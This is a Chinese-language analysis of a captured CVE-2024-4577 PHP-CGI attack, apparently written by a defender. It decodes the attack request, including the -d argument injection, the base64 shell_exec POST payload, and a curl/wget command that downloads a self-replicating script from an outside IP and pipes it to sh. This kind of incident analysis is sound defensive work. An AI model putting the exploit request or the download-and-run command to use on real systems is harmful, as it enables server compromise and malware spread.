一、分析数据包内容
攻击者通过URL请求+POST传参的方式试图绕过IPS测试RCE漏洞的利用
URL请求中的内容进行urlcode解码后是这样的:
http://资产IP/hello.world?-d allow_url_include=1 -d auto_prepend_file=php://input
1. -d allow_url_include=1
:
- 使用 PHP 的
-d
命令行参数,在执行时动态设置配置项。 allow_url_include=1
:启用从 URL 包含文件的功能,这通常在 php.ini 是禁用的。- 它允许
include()
或require()
加载远程地址,如http://attacker.com/shell.txt
。
2. -d auto_prepend_file=php://input
:
- 这个设置使 PHP 在解析主脚本之前,自动包含一个文件。
- 这里指定的文件是
php://input
,也就是HTTP 请求体(POST data)中的原始输入流。 - 也就是说可以直接包含POST中的数据并执行
然后再结合POST传递的内容分析:
请求体中的内容是:
<?php shell_exec(base64_decode("WD0kKGN1cmwgaHR0cDovLzEwNC4yNDUuMjQwLjI4L3NoIHx8IHdnZXQgaHR0cDovL
zEwNC4yNDUuMjQwLjI4L3NoIC1PLSk7IGVjaG8gIiRYIiB8IHNoIC1zIGN2ZV8yMDI0XzQ1Nzcuc2VsZnJlcA=="));
echo(md5("Hello CVE-2024-4577")); ?>
其中base64字段解码后:
<?php shell_exec( X=$(curl http://104.245.240.28/sh || wget http://104.245.240.28/sh -O-);
echo "$X" | sh -s cve_2024_4577.selfrep);
echo(md5("Hello CVE-2024-4577")); ?>
这条命令的目的是利用远程代码执行漏洞(RCE)来从远程服务器下载一个脚本并执行它,而它特别指向了一个命名为 cve_2024_4577.selfrep
的 payload,表明攻击者试图利用 2024 年披露的某个 CVE(CVE-2024-4577)漏洞,进行进一步的自动传播或感染操作。
二、判断攻击者的目的
1、通过GET参数-d开启allow_url_include=1和auto_prepend_file=php://input
其目的是执行POST传递的数据流
2、POST注入恶意PHP脚本,内容为:
使用shell_exec()执行shell命令
X=$(curl http://104.245.240.28/sh || wget http://104.245.240.28/sh -O-); echo "$X" | sh -s cve_2024_4577.selfrep
通过curl或wget访问攻击者远程搭建的服务器中104.245.240.28中的sh文件
把内容赋值给X
将X的值通过管道符传递给靶机本地sh执行
-s cve_2024_4577.selfrep
表明传递一个参数给脚本,脚本内部可能会根据这个参数执行
3、然后通过echo(md5("Hello CVE-2024-4577")); 输出一个hash,用于回显检测是否成功执行。